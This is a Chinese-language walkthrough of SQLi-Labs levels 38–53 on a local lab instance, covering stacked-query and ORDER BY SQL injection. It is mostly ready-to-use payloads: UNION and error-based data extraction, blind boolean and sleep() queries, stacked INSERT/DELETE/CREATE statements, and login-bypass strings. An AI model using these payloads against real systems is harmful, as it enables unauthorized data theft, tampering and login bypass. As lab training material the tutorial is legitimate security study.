SQLi-Labs靶场从零搭建到通关全攻略(五):堆叠注入与ORDER BY注入

摘要: 在前四篇文章中,我们已经掌握了SQL注入的绝大部分核心技术------从GET到POST、从显注到盲注、从基础注入到过滤绕过。但从Less-38开始,我们将接触两种全新的注入方式:堆叠注入(Stacked Injection)ORDER BY注入

堆叠注入打破了"一次只能执行一条SQL语句"的限制,允许我们通过分号;拼接多条语句,实现增删改查甚至创建表、删除数据等操作。而ORDER BY注入则是在排序子句中注入,由于ORDER BY后面不能使用UNION联合查询,我们需要用全新的思路来应对。

本文作为系列攻略的第五篇,将系统讲解堆叠注入的原理与实战(Less-38~45),以及ORDER BY注入的四种方法(Less-46~53)。这是从"数据查询"到"数据操控"的关键跨越,也是实际渗透测试中极具实战价值的高级技能。


一、堆叠注入:突破单语句的限制

1.1 什么是堆叠注入?

在MySQL中,每条SQL语句以分号;结尾。堆叠注入(Stacked Injection) 就是利用这个特性,在第一条SQL语句结束后,用分号拼接第二条、第三条......多条SQL语句一起执行。

打个比方:普通注入就像你只能给数据库"打一个电话",说完就挂。堆叠注入就像你可以"连续拨打多个电话"------第一个电话查数据,第二个电话删表,第三个电话建账号,一气呵成。

核心条件 :数据库驱动必须支持多语句执行。在PHP中,mysqli_multi_query()函数支持多语句执行,而mysql_query()默认不支持。

1.2 堆叠注入 vs UNION注入

对比项 UNION注入 堆叠注入
语句数量 多条SELECT合并为一条结果 多条独立SQL语句依次执行
语句类型 只能是SELECT 可以是任意SQL(INSERT、UPDATE、DELETE、CREATE等)
分号使用 不需要 必须用;分隔
攻击能力 只能查数据 可以增删改查、创建表、删库

1.3 常见堆叠注入语句

复制代码
-- 插入新用户
INSERT INTO users (id,username,password) VALUES ('38','hacked','hacked');
​
-- 更新数据
UPDATE users SET password='newpass' WHERE username='admin';
​
-- 删除数据
DELETE FROM users WHERE id=38;
​
-- 创建表
CREATE TABLE test LIKE users;
​
-- 删除表
DROP TABLE test;

二、Less-38:GET型单引号堆叠注入

2.1 关卡信息

  • 关卡名称:Less-38 - GET - Stacked Query - Single quotes - String

  • 漏洞类型:GET型单引号字符型堆叠注入

  • 核心考点:在单引号闭合的GET参数中执行多条SQL语句

2.2 第一步:判断闭合方式

访问:

复制代码
?id=1'

页面报错,确认是单引号闭合的字符型注入。

2.3 第二步:获取列数(字段数)

复制代码
?id=0' order by 3 --+    //正常
?id=0' order by 4 --+    //报错,所以是3列

2.4 第三步:获取回显位

复制代码
?id=0' union select 1,2,3 --+    //2和3可以回显

2.5 第四步:获取数据库名

复制代码
?id=0' union select 1,database(),3 --+

2.6 第五步:获取所有表名

复制代码
?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

2.7 第六步:获取用户表所有字段名

复制代码
?id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') --+

2.8 第七步:获取用户表所有数据

复制代码
?id=0' union select 1,2,(select group_concat(id,'~',username,'~',password,'\n') from users) --+

2.9 第八步:堆叠注入------插入新用户

复制代码
?id=0';insert into users (id,username,password) values ('38','hacked','hacked'); --+

2.10 第九步:验证插入结果

访问:

复制代码
?id=38

页面显示新插入的用户信息,说明堆叠注入成功!

2.11 其他堆叠操作示例

创建表

复制代码
?id=0';create table test like users; --+

删除数据

复制代码
?id=0';delete from users where id=38; --+

三、Less-39:GET型数字型堆叠注入

3.1 关卡信息

  • 漏洞类型 :GET型数字型堆叠注入

  • 与Less-38的区别:不需要引号闭合

3.2 通关步骤

第一步:测试闭合方式

复制代码
?id=1 and 1=1 --+   # 正常
?id=1 and 1=2 --+   # 无显示

确认是数字型注入

第二步:堆叠注入插入用户

复制代码
?id=0;insert into users (id,username,password) values ('39','ysyx','ysyx'); --+

第三步:验证

复制代码
?id=39

四、Less-40:GET型单引号+括号盲注堆叠

4.1 关卡信息

  • 漏洞类型:GET型单引号+括号闭合的堆叠注入

  • 核心特点:无报错回显,是盲注

4.2 通关步骤

复制代码
//    判断注入点与闭合方式
?id=1 and 1=2    //页面正常显示 → 不是数字型
?id=1'    //页面无回显
?id=1')--+    //页面正常回显 → 确认闭合方式为 ')(单引号 + 括号)
//    获取字段数
?id=1') order by 3 --+    //页面正常
?id=1') order by 4 --+    //页面无显示 → 字段数为 3
//    获取回显位
?id=0') union select 1,2,3 --+
//    获取数据库名
?id=0') union select 1,database(),3 --+
//    获取表名
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//    获取字段名
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
//    获取数据
?id=0') union select 1,2,group_concat(username,password) from users --+
//    堆叠注入:插入新用户
?id=1'); insert into users(id,username,password) values ('40','less40','ysyx') --+
//    验证
?id=40

五、Less-41:GET型数字型堆叠注入

5.1 关卡信息

  • 漏洞类型 :GET型数字型堆叠注入

  • 与Less-39相同:只是关卡编号不同

5.2 通关步骤

复制代码
?id=0;insert into users (id,username,password) values ('41','less41','41414141'); --+
//    验证
?id=41

六、Less-42:POST型密码框堆叠注入

6.1 关卡信息

  • 漏洞类型:POST型密码框堆叠注入

  • 核心特点 :注入点在密码框,用户名被过滤了

6.2 通关步骤

第一步:观察页面

这是一个登录页面,有用户名和密码两个输入框。

第二步:测试注入点

密码框输入:

复制代码
1'

页面报错,确认注入点在密码框,且是单引号闭合。

第三步:堆叠注入

Burp Suite抓包修改POST数据

复制代码
login_user=admin&login_password=1';insert into users (id,username,password) values ('42','ysyx42','less42'); --+&mysubmit=Login

第四步:验证

用新创建的账号ysyx42/less42登录,成功!


七、Less-43:POST型单引号+括号堆叠注入

7.1 关卡信息

  • 漏洞类型:POST型单引号+括号闭合的堆叠注入

  • 与Less-42的区别 :闭合方式从'变成了')

7.2 通关步骤

复制代码
login_user=admin&login_password=1');insert into users (id,username,password) values ('43','my43','ysyx'); --+&mysubmit=Login

八、Less-44:POST型盲注堆叠注入

8.1 关卡信息

  • 漏洞类型:POST型盲注堆叠注入

  • 核心特点:无报错回显,需要用盲注或堆叠,通过登录成功/失败来判断

  • 核心漏洞mysqli_multi_query() 支持堆叠注入

8.2 通关步骤

第一步:判断注入点与闭合方式

在用户名随意输入(如 admin),密码输入:a' OR 1=1#

用户名 admin,密码 a' OR 1=2# → 登录失败,确认注入成立

第二步:布尔盲注获取数据

判断数据库名长度

复制代码
a' OR (length(database())=8)#
//    登录成功 → 数据库名长度为 8

获取数据库名(逐字符)

复制代码
a' OR (ascii(substr(database(),1,1))=115)#
//    通过登录成功还是失败进行判断,最后得出数据库名为security

获取表名

复制代码
a' OR (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#

获取字段名

复制代码
a' OR (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100)#

获取数据

复制代码
a' OR (ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100)#

第三步:堆叠注入

万能登录绕过

复制代码
用户名:admin
密码:a' OR 1=1#

创建新用户

复制代码
用户名:admin
密码:a'; insert into users(id,username,password) values('44','less44','ysyx')#

通过新创建的用户密码登录


九、Less-45:POST型单引号+括号盲注堆叠

9.1 关卡信息

  • 漏洞类型:POST型单引号+括号闭合的盲注堆叠

  • 与Less-44的区别 :闭合方式为')

9.2 通关步骤

第一步:判断注入点与闭合方式

在用户名随意输入(如 admin),密码输入:1') or 1=('1

用户名 admin,密码 1') or 1=('2 → 登录失败,确认注入成立

第二步:布尔盲注获取数据

判断数据库名长度

复制代码
1') or (length(database())=8)#
//    登录成功 → 数据库名长度为 8

获取数据库名(逐字符)

复制代码
1') or (ascii(substr(database(),1,1))=115)#
//    通过登录成功还是失败进行判断,最后得出数据库名为security

获取表名

复制代码
1') or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100)#

获取字段名

复制代码
1') or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100)#

获取数据

复制代码
1') or (ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100)#

第三步:堆叠注入

万能登录绕过

复制代码
用户名:admin
密码:1') or 1=('1

创建新用户

复制代码
用户名:admin
密码:1'); insert into users(id,username,password) values('45','less45','ysyx')#

通过新创建的用户密码登录


十、ORDER BY注入:全新的挑战(Less-46~53)

10.1 什么是ORDER BY注入?

从Less-46开始,注入点不再是WHERE子句,而是ORDER BY子句。

URL参数变成了sort

复制代码
http://localhost/sqli-labs/Less-46/?sort=1

后端的SQL语句大致是:

复制代码
SELECT * FROM users ORDER BY $sort

10.2 为什么ORDER BY注入不同?

核心区别ORDER BY后面不能使用UNION联合查询

打个比方:之前的注入就像在"筛选条件"里做文章(WHERE),而现在是在"排序规则"里做文章(ORDER BY)------你只能影响数据怎么排,不能直接让数据"显示"出来。

10.3 ORDER BY注入的四种方法

方法 适用场景 核心原理
报错注入 有错误回显 ORDER BY后构造报错语句
布尔盲注 排序结果有差异 通过排序变化判断真假
时间盲注 无任何回显差异 sleep()延时判断
文件导出 有写入权限 INTO OUTFILE写文件

十一、Less-46:数字型ORDER BY报错注入

11.1 关卡信息

  • 关卡名称:Less-46 - GET - Error Based - Numeric - ORDER BY CLAUSE

  • 漏洞类型:数字型ORDER BY报错注入

  • 核心特点 :参数名从id变成了sort

11.2 第一步:判断注入点

访问:

复制代码
http://localhost/sqli-labs/Less-46/?sort=1

页面按第1列排序显示表格。

尝试:

复制代码
http://localhost/sqli-labs/Less-46/?sort=1 desc

页面按第1列降序排列。

复制代码
http://localhost/sqli-labs/Less-46/?sort=2 asc

页面按第2列升序排列。

说明sort参数是可控的注入点。

11.3 第二步:报错注入获取数据库名

方法一:用extractvalue()

复制代码
?sort=(extractvalue(1,concat(0x7e,database(),0x7e)))

方法二:用updatexml()

复制代码
?sort=(updatexml(1,concat(0x7e,database()),1))

11.4 第三步:获取表名

复制代码
?sort=(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))

11.5 第四步:获取表字段

复制代码
?sort=(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e)))

11.6 第五步:获取数据

复制代码
?sort=(extractvalue(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e)))

十二、Less-47:单引号字符串ORDER BY报错注入

12.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY报错注入

  • 与Less-46的区别 :闭合方式是单引号

12.2 通关步骤

第一步:判断闭合方式

复制代码
?sort=1'

报错,确认是单引号闭合。

第二步:报错注入

获取数据库名

复制代码
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

获取表名

复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+

获取字段名

复制代码
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1) --+

获取数据

复制代码
?sort=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1),0x7e),1) --+

十三、Less-48:数字型ORDER BY布尔盲注

13.1 关卡信息

  • 漏洞类型:数字型ORDER BY布尔盲注

  • 核心特点:无报错回显

13.2 第一步:判断注入类型

用数学运算测试:

复制代码
?sort=1
?sort=2-1

两个请求返回相同的排序结果 ,说明2-1被当成数值1执行了。确认是数字型注入。

13.3 第二步:判断注入点

复制代码
?sort=1 and 1=1    //页面正常排序
?sort=1 and 1=2    //页面无变化 → 条件判断不生效,说明 and 在 ORDER BY 子句中无法直接使用

13.4 第三步:时间盲注

判断数据库名长度:当条件为真时立即响应,为假时延迟 5 秒

复制代码
?sort=if(length(database())=8, 1, sleep(5))
//    立即响应 → 数据库名长度为 8

获取数据库名(逐字符)

复制代码
?sort=if(ascii(substr(database(),1,1))=115, 1, sleep(5))

获取表名

复制代码
?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101, 1, sleep(5))

获取字段名

复制代码
?sort=if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105, 1, sleep(5))

获取用户表数据

复制代码
?sort=if(ascii(substr((select concat_ws(':', username, password) from users limit 0,1),1,1))>100, 1, sleep(5))
//    如何不好用,用以下这个
?sort=if(ascii(substr((select username from users limit 0,1),1,1))>100, 1, benchmark(20000000, md5(1)))

13.5 第四步:布尔盲注

判断数据库名长度

复制代码
?sort=if(length(database())>8, id, username)
//    按 id 排序 → 条件为真

获取数据库名

复制代码
?sort=if(ascii(substr(database(),1,1))=115, id, username)

获取表名

复制代码
?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100, id, username)

获取数据

复制代码
?sort=if(ascii(substr((select concat(username,password) from users limit 0,1),1,1))>100, id, username)
复制代码

十四、Less-49:单引号字符串ORDER BY布尔盲注

14.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY布尔盲注

  • 核心特点:无报错回显,单引号字符型

14.2 通关步骤

第一步:判断闭合方式

复制代码
?sort=1    //页面正常返回排序后的数据
?sort=1'    //页面返回空(无报错信息)→ 说明闭合方式为单引号 '

第二步:布尔盲注

复制代码
?sort=1', if(条件, username, id), '1

条件为真 :按 username 字段排序;条件为假 :按 id 字段排序。

14.3 获取数据

判断数据库名长度

复制代码
?sort=1', if(length(database())>7, username, id), '1
//    长度是否大于7,首行为admin为真,为Dumb为假
?sort=1', if(length(database())>8, username, id), '1
//    长度是否大于8,首行为admin为真,为Dumb为假,结论为8

逐个获取数据库名字符

复制代码
?sort=1', if(ascii(substr(database(),1,1))>114, username, id), '1

获取核心表名(users)

复制代码
//    先判断长度为5
?sort=1', if((select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5, username, id), '1
//    然后逐个获取字符
?sort=1', if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116, username, id), '1

获取字段名(username 和 password)

复制代码
?sort=1', if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1,1),1,1))>116, username, id), '1

获取最终数据(账号密码)

复制代码
?sort=1', if(ascii(substr((select username from users limit 0,1),1,1))>67, username, id), '1

十五、Less-50:数字型ORDER BY堆叠注入

15.1 关卡信息

  • 漏洞类型:数字型ORDER BY堆叠注入

  • 核心特点:虽然是ORDER BY场景,但支持堆叠注入

15.2 通关步骤

**第一步:**判断注入类型

输入 ?sort=rand() 多次刷新页面:每次刷新排序结果发生变化 → 说明 rand() 被成功执行 → 数字型注入

**第二步:**使用报错注入获取数据库名

复制代码
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

**第三步:**使用报错注入获取所有表名

复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

第四步: 使用报错注入获取 users 表的字段名

复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

**第五步:**使用报错注入获取数据

复制代码
?sort=1 and updatexml(1, concat(0x7e, (select concat(username,0x3a,password) from users limit 0,1), 0x7e), 1)--+

**第六步:**堆叠注入插入数据

复制代码
?sort=1;insert into users values(50,'ysyx50','ysyx');--+

验证:

复制代码
http://localhost/sqli-labs/Less-50/?sort=1 desc

十六、Less-51:单引号ORDER BY堆叠注入

16.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY堆叠注入

  • 与Less-50的区别:闭合方式是单引号

16.2 通关步骤

复制代码
?sort=1';insert into users (id,username,password) values ('51','ysyx51','51515151'); --+
//    验证是否有增加的那条数据
http://localhost/sqli-labs/Less-51/?sort=1

十七、Less-52:数字型ORDER BY盲注堆叠

17.1 关卡信息

  • 漏洞类型:数字型ORDER BY盲注堆叠

  • 核心特点:无报错回显,但支持堆叠

17.2 通关步骤

**第一步:**验证注入类型为数字型

复制代码
?sort=rand()
//    每次刷新排序结果都不同

**第二步:**布尔盲注

复制代码
?sort=rand(length(database())=8)
//    条件为真:rand(1) 返回固定序列,页面按特定顺序排列
//    条件为假:rand(0) 返回不同序列,页面排序变化

**第三步:**堆叠注入

复制代码
?sort=1;insert into users(id,username,password) values('52','ysyx52','5252') --+
//    验证
http://localhost/sqli-labs/Less-52/?sort=1 desc

十八、Less-53:单引号ORDER BY盲注堆叠

18.1 关卡信息

  • 漏洞类型:单引号字符串型ORDER BY盲注堆叠

  • 与Less-52的区别:闭合方式是单引号

18.2 通关步骤

复制代码
?sort=1';insert into users (id,username,password) values ('53','ysyx53','123453'); --+

总结

掌握了堆叠注入的核心原理(Less-38~45) :利用分号;拼接多条SQL语句,突破了单语句的限制,实现了插入、更新、删除、创建表等操作

通关了8关堆叠注入关卡:从GET到POST、从有报错到盲注、从单引号到数字型、从普通闭合到括号闭合,覆盖了堆叠注入的各种场景

理解了ORDER BY注入的特殊性(Less-46~53)ORDER BY子句不能使用UNION联合查询,需要换一套打法

掌握了ORDER BY注入的四种方法:报错注入(Less-46/47)、布尔盲注(Less-48)、时间盲注(Less-49)、堆叠注入(Less-50~53)

通关了全部8关ORDER BY注入关卡:从数字型到字符串型、从有报错到盲注,完整覆盖了ORDER BY注入的各种场景

从Less-38到Less-53,我们完成了从"数据查询"到"数据操控"的跨越。堆叠注入让我们可以修改数据、创建表、删除记录 ,而ORDER BY注入则让我们掌握了排序场景下的注入技巧。这两项技能在实际渗透测试中极具价值------前者让你获得更大的控制权,后者让你在更多场景下找到突破口。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。